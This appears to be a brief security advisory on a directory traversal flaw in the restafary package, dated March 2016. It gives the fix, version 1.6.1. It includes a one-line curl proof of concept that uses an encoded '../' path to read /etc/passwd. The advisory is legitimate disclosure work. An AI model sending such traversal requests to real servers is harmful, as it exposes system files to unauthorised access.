Affected versions of
restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.
Proof of Concept
curl -i -s -k -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'
Update to version 1.6.1 or later.
Have content suggestions? Send them to [email protected]
publishedAdvisory publishedMar 28th, 2016
reportedInitial report by Craig ArendtMar 25th, 2016